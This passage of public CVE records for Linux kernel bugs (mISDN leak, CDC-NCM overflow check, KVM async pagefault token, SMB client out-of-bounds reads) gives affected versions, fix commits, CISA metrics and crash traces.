            "drivers/isdn/mISDN/dsp_pipeline.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a3d5fcc6cf2ecbba5a269631092570aa285a24cb",
              "status": "affected",
              "version": "960366cf8dbb3359afaca30cf7fdbf69a6d6dda7",
              "versionType": "git"
            },
            {
              "lessThan": "7777b1f795af1bb43867375d8a776080111aae1b",
              "status": "affected",
              "version": "960366cf8dbb3359afaca30cf7fdbf69a6d6dda7",
              "versionType": "git"
            },
            {
              "lessThan": "640445d6fc059d4514ffea79eb4196299e0e2d0f",
              "status": "affected",
              "version": "960366cf8dbb3359afaca30cf7fdbf69a6d6dda7",
              "versionType": "git"
            },
            {
              "lessThan": "c6a502c2299941c8326d029cfc8a3bc8a4607ad5",
              "status": "affected",
              "version": "960366cf8dbb3359afaca30cf7fdbf69a6d6dda7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/isdn/mISDN/dsp_pipeline.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.27"
            },
            {
              "lessThan": "2.6.27",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.29",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.16.*",
              "status": "unaffected",
              "version": "5.16.15",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.17",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.106",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.29",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16.15",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.17",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmISDN: Fix memory leak in dsp_pipeline_build()\n\ndsp_pipeline_build() allocates dup pointer by kstrdup(cfg),\nbut then it updates dup variable by strsep(\u0026dup, \"|\").\nAs a result when it calls kfree(dup), the dup variable contains NULL.\n\nFound by Linux Driver Verification project (linuxtesting.org) with SVACE."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T18:48:36.863Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a3d5fcc6cf2ecbba5a269631092570aa285a24cb"
        },
        {
          "url": "https://git.kernel.org/stable/c/7777b1f795af1bb43867375d8a776080111aae1b"
        },
        {
          "url": "https://git.kernel.org/stable/c/640445d6fc059d4514ffea79eb4196299e0e2d0f"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6a502c2299941c8326d029cfc8a3bc8a4607ad5"
        }
      ],
      "title": "mISDN: Fix memory leak in dsp_pipeline_build()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2022-48863",
    "datePublished": "2024-07-16T12:25:26.482Z",
    "dateReserved": "2024-07-16T11:38:08.920Z",
    "dateUpdated": "2026-05-11T18:48:36.863Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-48938 (GCVE-0-2022-48938)

Vulnerability from cvelistv5 – Published: 2024-08-22 03:31 – Updated: 2026-05-11 18:50

Title

CDC-NCM: avoid overflow in sanity checking

Summary

In the Linux kernel, the following vulnerability has been resolved: CDC-NCM: avoid overflow in sanity checking A broken device may give an extreme offset like 0xFFF0 and a reasonable length for a fragment. In the sanity check as formulated now, this will create an integer overflow, defeating the sanity check. Both offset and offset + len need to be checked in such a manner that no overflow can occur. And those quantities should be unsigned.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/a612395c7631918e0…
https://git.kernel.org/stable/c/9957fbf34f52a4d89…
https://git.kernel.org/stable/c/69560efa001397ebb…
https://git.kernel.org/stable/c/49909c9f8458cacb5…
https://git.kernel.org/stable/c/7b737e47b87589031…
https://git.kernel.org/stable/c/8d2b1a1ec9f559d30…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4ca8b8855264cf1439cdab3da7049bd1e3c2a9e6 , < a612395c7631918e0e10ea48b9ce5ab4340f26a6 (git) Affected: a270ca35a9499b58366d696d3290eaa4697a42db , < 9957fbf34f52a4d8945d1bf39aae400ef9a11246 (git) Affected: 0fa81b304a7973a499f844176ca031109487dd31 , < 69560efa001397ebb8dc1c3e6a3ce00302bb9f7f (git) Affected: 0fa81b304a7973a499f844176ca031109487dd31 , < 49909c9f8458cacb5b241106cba65aba5a6d8f4c (git) Affected: 0fa81b304a7973a499f844176ca031109487dd31 , < 7b737e47b87589031f0d4657f6d7b0b770474925 (git) Affected: 0fa81b304a7973a499f844176ca031109487dd31 , < 8d2b1a1ec9f559d30b724877da4ce592edc41fdc (git) Affected: 8cf7db86a8984ffa3a3388a8df12bc0aa4c79bd7 (git)
Linux	Linux	Affected: 5.7 Unaffected: 0 , < 5.7 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.103 , ≤ 5.10.* (semver) Unaffected: 5.15.26 , ≤ 5.15.* (semver) Unaffected: 5.16.12 , ≤ 5.16.* (semver) Unaffected: 5.17 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-48938",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:32:27.711835Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:32:59.501Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/usb/cdc_ncm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a612395c7631918e0e10ea48b9ce5ab4340f26a6",
              "status": "affected",
              "version": "4ca8b8855264cf1439cdab3da7049bd1e3c2a9e6",
              "versionType": "git"
            },
            {
              "lessThan": "9957fbf34f52a4d8945d1bf39aae400ef9a11246",
              "status": "affected",
              "version": "a270ca35a9499b58366d696d3290eaa4697a42db",
              "versionType": "git"
            },
            {
              "lessThan": "69560efa001397ebb8dc1c3e6a3ce00302bb9f7f",
              "status": "affected",
              "version": "0fa81b304a7973a499f844176ca031109487dd31",
              "versionType": "git"
            },
            {
              "lessThan": "49909c9f8458cacb5b241106cba65aba5a6d8f4c",
              "status": "affected",
              "version": "0fa81b304a7973a499f844176ca031109487dd31",
              "versionType": "git"
            },
            {
              "lessThan": "7b737e47b87589031f0d4657f6d7b0b770474925",
              "status": "affected",
              "version": "0fa81b304a7973a499f844176ca031109487dd31",
              "versionType": "git"
            },
            {
              "lessThan": "8d2b1a1ec9f559d30b724877da4ce592edc41fdc",
              "status": "affected",
              "version": "0fa81b304a7973a499f844176ca031109487dd31",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "8cf7db86a8984ffa3a3388a8df12bc0aa4c79bd7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/usb/cdc_ncm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.7"
            },
            {
              "lessThan": "5.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.16.*",
              "status": "unaffected",
              "version": "5.16.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.17",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.19.285",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.4.245",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.103",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.26",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16.12",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.17",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.317",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nCDC-NCM: avoid overflow in sanity checking\n\nA broken device may give an extreme offset like 0xFFF0\nand a reasonable length for a fragment. In the sanity\ncheck as formulated now, this will create an integer\noverflow, defeating the sanity check. Both offset\nand offset + len need to be checked in such a manner\nthat no overflow can occur.\nAnd those quantities should be unsigned."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T18:50:03.224Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a612395c7631918e0e10ea48b9ce5ab4340f26a6"
        },
        {
          "url": "https://git.kernel.org/stable/c/9957fbf34f52a4d8945d1bf39aae400ef9a11246"
        },
        {
          "url": "https://git.kernel.org/stable/c/69560efa001397ebb8dc1c3e6a3ce00302bb9f7f"
        },
        {
          "url": "https://git.kernel.org/stable/c/49909c9f8458cacb5b241106cba65aba5a6d8f4c"
        },
        {
          "url": "https://git.kernel.org/stable/c/7b737e47b87589031f0d4657f6d7b0b770474925"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d2b1a1ec9f559d30b724877da4ce592edc41fdc"
        }
      ],
      "title": "CDC-NCM: avoid overflow in sanity checking",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2022-48938",
    "datePublished": "2024-08-22T03:31:33.381Z",
    "dateReserved": "2024-08-22T01:27:53.623Z",
    "dateUpdated": "2026-05-11T18:50:03.224Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-48943 (GCVE-0-2022-48943)

Vulnerability from cvelistv5 – Published: 2024-08-22 03:30 – Updated: 2026-05-11 18:50

Title

KVM: x86/mmu: make apf token non-zero to fix bug

Summary

In the Linux kernel, the following vulnerability has been resolved: KVM: x86/mmu: make apf token non-zero to fix bug In current async pagefault logic, when a page is ready, KVM relies on kvm_arch_can_dequeue_async_page_present() to determine whether to deliver a READY event to the Guest. This function test token value of struct kvm_vcpu_pv_apf_data, which must be reset to zero by Guest kernel when a READY event is finished by Guest. If value is zero meaning that a READY event is done, so the KVM can deliver another. But the kvm_arch_setup_async_pf() may produce a valid token with zero value, which is confused with previous mention and may lead the loss of this READY event. This bug may cause task blocked forever in Guest: INFO: task stress:7532 blocked for more than 1254 seconds. Not tainted 5.10.0 #16 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:stress state:D stack: 0 pid: 7532 ppid: 1409 flags:0x00000080 Call Trace: __schedule+0x1e7/0x650 schedule+0x46/0xb0 kvm_async_pf_task_wait_schedule+0xad/0xe0 ? exit_to_user_mode_prepare+0x60/0x70 __kvm_handle_async_pf+0x4f/0xb0 ? asm_exc_page_fault+0x8/0x30 exc_page_fault+0x6f/0x110 ? asm_exc_page_fault+0x8/0x30 asm_exc_page_fault+0x1e/0x30 RIP: 0033:0x402d00 RSP: 002b:00007ffd31912500 EFLAGS: 00010206 RAX: 0000000000071000 RBX: ffffffffffffffff RCX: 00000000021a32b0 RDX: 000000000007d011 RSI: 000000000007d000 RDI: 00000000021262b0 RBP: 00000000021262b0 R08: 0000000000000003 R09: 0000000000000086 R10: 00000000000000eb R11: 00007fefbdf2baa0 R12: 0000000000000000 R13: 0000000000000002 R14: 000000000007d000 R15: 0000000000001000

Severity ?

No CVSS data available.

Assigner

Linux

References

4 references

URL	Tags
https://git.kernel.org/stable/c/72fdfc75d4217b323…
https://git.kernel.org/stable/c/4c3644b6c96c5daa5…
https://git.kernel.org/stable/c/62040f5cd7d937de5…
https://git.kernel.org/stable/c/6f3c1fc53d86d580d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2635b5c4a0e407b84f68e188c719f28ba0e9ae1b , < 72fdfc75d4217b32363cc80def3de2cb3fef3f02 (git) Affected: 2635b5c4a0e407b84f68e188c719f28ba0e9ae1b , < 4c3644b6c96c5daa5149e5abddc07234eea47c7c (git) Affected: 2635b5c4a0e407b84f68e188c719f28ba0e9ae1b , < 62040f5cd7d937de547836e747b6aa8212fec573 (git) Affected: 2635b5c4a0e407b84f68e188c719f28ba0e9ae1b , < 6f3c1fc53d86d580d8d6d749c4af23705e4f6f79 (git)
Linux	Linux	Affected: 5.8 Unaffected: 0 , < 5.8 (semver) Unaffected: 5.10.103 , ≤ 5.10.* (semver) Unaffected: 5.15.26 , ≤ 5.15.* (semver) Unaffected: 5.16.12 , ≤ 5.16.* (semver) Unaffected: 5.17 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-48943",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:33:08.943998Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:10.679Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/kvm/mmu/mmu.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "72fdfc75d4217b32363cc80def3de2cb3fef3f02",
              "status": "affected",
              "version": "2635b5c4a0e407b84f68e188c719f28ba0e9ae1b",
              "versionType": "git"
            },
            {
              "lessThan": "4c3644b6c96c5daa5149e5abddc07234eea47c7c",
              "status": "affected",
              "version": "2635b5c4a0e407b84f68e188c719f28ba0e9ae1b",
              "versionType": "git"
            },
            {
              "lessThan": "62040f5cd7d937de547836e747b6aa8212fec573",
              "status": "affected",
              "version": "2635b5c4a0e407b84f68e188c719f28ba0e9ae1b",
              "versionType": "git"
            },
            {
              "lessThan": "6f3c1fc53d86d580d8d6d749c4af23705e4f6f79",
              "status": "affected",
              "version": "2635b5c4a0e407b84f68e188c719f28ba0e9ae1b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/kvm/mmu/mmu.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.8"
            },
            {
              "lessThan": "5.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.16.*",
              "status": "unaffected",
              "version": "5.16.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.17",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.103",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.26",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16.12",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.17",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86/mmu: make apf token non-zero to fix bug\n\nIn current async pagefault logic, when a page is ready, KVM relies on\nkvm_arch_can_dequeue_async_page_present() to determine whether to deliver\na READY event to the Guest. This function test token value of struct\nkvm_vcpu_pv_apf_data, which must be reset to zero by Guest kernel when a\nREADY event is finished by Guest. If value is zero meaning that a READY\nevent is done, so the KVM can deliver another.\nBut the kvm_arch_setup_async_pf() may produce a valid token with zero\nvalue, which is confused with previous mention and may lead the loss of\nthis READY event.\n\nThis bug may cause task blocked forever in Guest:\n INFO: task stress:7532 blocked for more than 1254 seconds.\n       Not tainted 5.10.0 #16\n \"echo 0 \u003e /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n task:stress          state:D stack:    0 pid: 7532 ppid:  1409\n flags:0x00000080\n Call Trace:\n  __schedule+0x1e7/0x650\n  schedule+0x46/0xb0\n  kvm_async_pf_task_wait_schedule+0xad/0xe0\n  ? exit_to_user_mode_prepare+0x60/0x70\n  __kvm_handle_async_pf+0x4f/0xb0\n  ? asm_exc_page_fault+0x8/0x30\n  exc_page_fault+0x6f/0x110\n  ? asm_exc_page_fault+0x8/0x30\n  asm_exc_page_fault+0x1e/0x30\n RIP: 0033:0x402d00\n RSP: 002b:00007ffd31912500 EFLAGS: 00010206\n RAX: 0000000000071000 RBX: ffffffffffffffff RCX: 00000000021a32b0\n RDX: 000000000007d011 RSI: 000000000007d000 RDI: 00000000021262b0\n RBP: 00000000021262b0 R08: 0000000000000003 R09: 0000000000000086\n R10: 00000000000000eb R11: 00007fefbdf2baa0 R12: 0000000000000000\n R13: 0000000000000002 R14: 000000000007d000 R15: 0000000000001000"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T18:50:09.238Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/72fdfc75d4217b32363cc80def3de2cb3fef3f02"
        },
        {
          "url": "https://git.kernel.org/stable/c/4c3644b6c96c5daa5149e5abddc07234eea47c7c"
        },
        {
          "url": "https://git.kernel.org/stable/c/62040f5cd7d937de547836e747b6aa8212fec573"
        },
        {
          "url": "https://git.kernel.org/stable/c/6f3c1fc53d86d580d8d6d749c4af23705e4f6f79"
        }
      ],
      "title": "KVM: x86/mmu: make apf token non-zero to fix bug",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2022-48943",
    "datePublished": "2024-08-22T03:30:14.027Z",
    "dateReserved": "2024-08-22T01:27:53.623Z",
    "dateUpdated": "2026-05-11T18:50:09.238Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-52434 (GCVE-0-2023-52434)

Vulnerability from cvelistv5 – Published: 2024-02-20 18:04 – Updated: 2026-05-11 19:27

Title

smb: client: fix potential OOBs in smb2_parse_contexts()

Summary

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix potential OOBs in smb2_parse_contexts() Validate offsets and lengths before dereferencing create contexts in smb2_parse_contexts(). This fixes following oops when accessing invalid create contexts from server: BUG: unable to handle page fault for address: ffff8881178d8cc3 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 4a01067 P4D 4a01067 PUD 0 Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 3 PID: 1736 Comm: mount.cifs Not tainted 6.7.0-rc4 #1 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.2-3-gd478f380-rebuilt.opensuse.org 04/01/2014 RIP: 0010:smb2_parse_contexts+0xa0/0x3a0 [cifs] Code: f8 10 75 13 48 b8 93 ad 25 50 9c b4 11 e7 49 39 06 0f 84 d2 00 00 00 8b 45 00 85 c0 74 61 41 29 c5 48 01 c5 41 83 fd 0f 76 55 <0f> b7 7d 04 0f b7 45 06 4c 8d 74 3d 00 66 83 f8 04 75 bc ba 04 00 RSP: 0018:ffffc900007939e0 EFLAGS: 00010216 RAX: ffffc90000793c78 RBX: ffff8880180cc000 RCX: ffffc90000793c90 RDX: ffffc90000793cc0 RSI: ffff8880178d8cc0 RDI: ffff8880180cc000 RBP: ffff8881178d8cbf R08: ffffc90000793c22 R09: 0000000000000000 R10: ffff8880180cc000 R11: 0000000000000024 R12: 0000000000000000 R13: 0000000000000020 R14: 0000000000000000 R15: ffffc90000793c22 FS: 00007f873753cbc0(0000) GS:ffff88806bc00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffff8881178d8cc3 CR3: 00000000181ca000 CR4: 0000000000750ef0 PKRU: 55555554 Call Trace: <TASK> ? __die+0x23/0x70 ? page_fault_oops+0x181/0x480 ? search_module_extables+0x19/0x60 ? srso_alias_return_thunk+0x5/0xfbef5 ? exc_page_fault+0x1b6/0x1c0 ? asm_exc_page_fault+0x26/0x30 ? smb2_parse_contexts+0xa0/0x3a0 [cifs] SMB2_open+0x38d/0x5f0 [cifs] ? smb2_is_path_accessible+0x138/0x260 [cifs] smb2_is_path_accessible+0x138/0x260 [cifs] cifs_is_path_remote+0x8d/0x230 [cifs] cifs_mount+0x7e/0x350 [cifs] cifs_smb3_do_mount+0x128/0x780 [cifs] smb3_get_tree+0xd9/0x290 [cifs] vfs_get_tree+0x2c/0x100 ? capable+0x37/0x70 path_mount+0x2d7/0xb80 ? srso_alias_return_thunk+0x5/0xfbef5 ? _raw_spin_unlock_irqrestore+0x44/0x60 __x64_sys_mount+0x11a/0x150 do_syscall_64+0x47/0xf0 entry_SYSCALL_64_after_hwframe+0x6f/0x77 RIP: 0033:0x7f8737657b1e

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/6726429c18c62dbf5…
https://git.kernel.org/stable/c/13fb0fc4917621f3d…
https://git.kernel.org/stable/c/890bc4fac3c0973a4…
https://git.kernel.org/stable/c/1ae3c59355dc9882e…
https://git.kernel.org/stable/c/17a0f64cc02d4972e…
https://git.kernel.org/stable/c/af1689a9b7701d990…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b8c32dbb0deb287a5fcb78251e4eae6c7275760d , < 6726429c18c62dbf5e96ebbd522f262e016553fb (git) Affected: b8c32dbb0deb287a5fcb78251e4eae6c7275760d , < 13fb0fc4917621f3dfa285a27eaf7151d770b5e5 (git) Affected: b8c32dbb0deb287a5fcb78251e4eae6c7275760d , < 890bc4fac3c0973a49cac35f634579bebba7fe48 (git) Affected: b8c32dbb0deb287a5fcb78251e4eae6c7275760d , < 1ae3c59355dc9882e09c020afe8ffbd895ad0f29 (git) Affected: b8c32dbb0deb287a5fcb78251e4eae6c7275760d , < 17a0f64cc02d4972e21c733d9f21d1c512963afa (git) Affected: b8c32dbb0deb287a5fcb78251e4eae6c7275760d , < af1689a9b7701d9907dfc84d2a4b57c4bc907144 (git)
Linux	Linux	Affected: 3.7 Unaffected: 0 , < 3.7 (semver) Unaffected: 5.4.277 , ≤ 5.4.* (semver) Unaffected: 5.10.211 , ≤ 5.10.* (semver) Unaffected: 5.15.150 , ≤ 5.15.* (semver) Unaffected: 6.1.79 , ≤ 6.1.* (semver) Unaffected: 6.6.8 , ≤ 6.6.* (semver) Unaffected: 6.7 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-52434",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-02-20T19:31:41.798943Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:08.159Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-01-17T20:02:50.854Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6726429c18c62dbf5e96ebbd522f262e016553fb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/13fb0fc4917621f3dfa285a27eaf7151d770b5e5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/890bc4fac3c0973a49cac35f634579bebba7fe48"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1ae3c59355dc9882e09c020afe8ffbd895ad0f29"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/17a0f64cc02d4972e21c733d9f21d1c512963afa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/af1689a9b7701d9907dfc84d2a4b57c4bc907144"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20250117-0009/"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/smb/client/cached_dir.c",
            "fs/smb/client/smb2pdu.c",
            "fs/smb/client/smb2proto.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6726429c18c62dbf5e96ebbd522f262e016553fb",
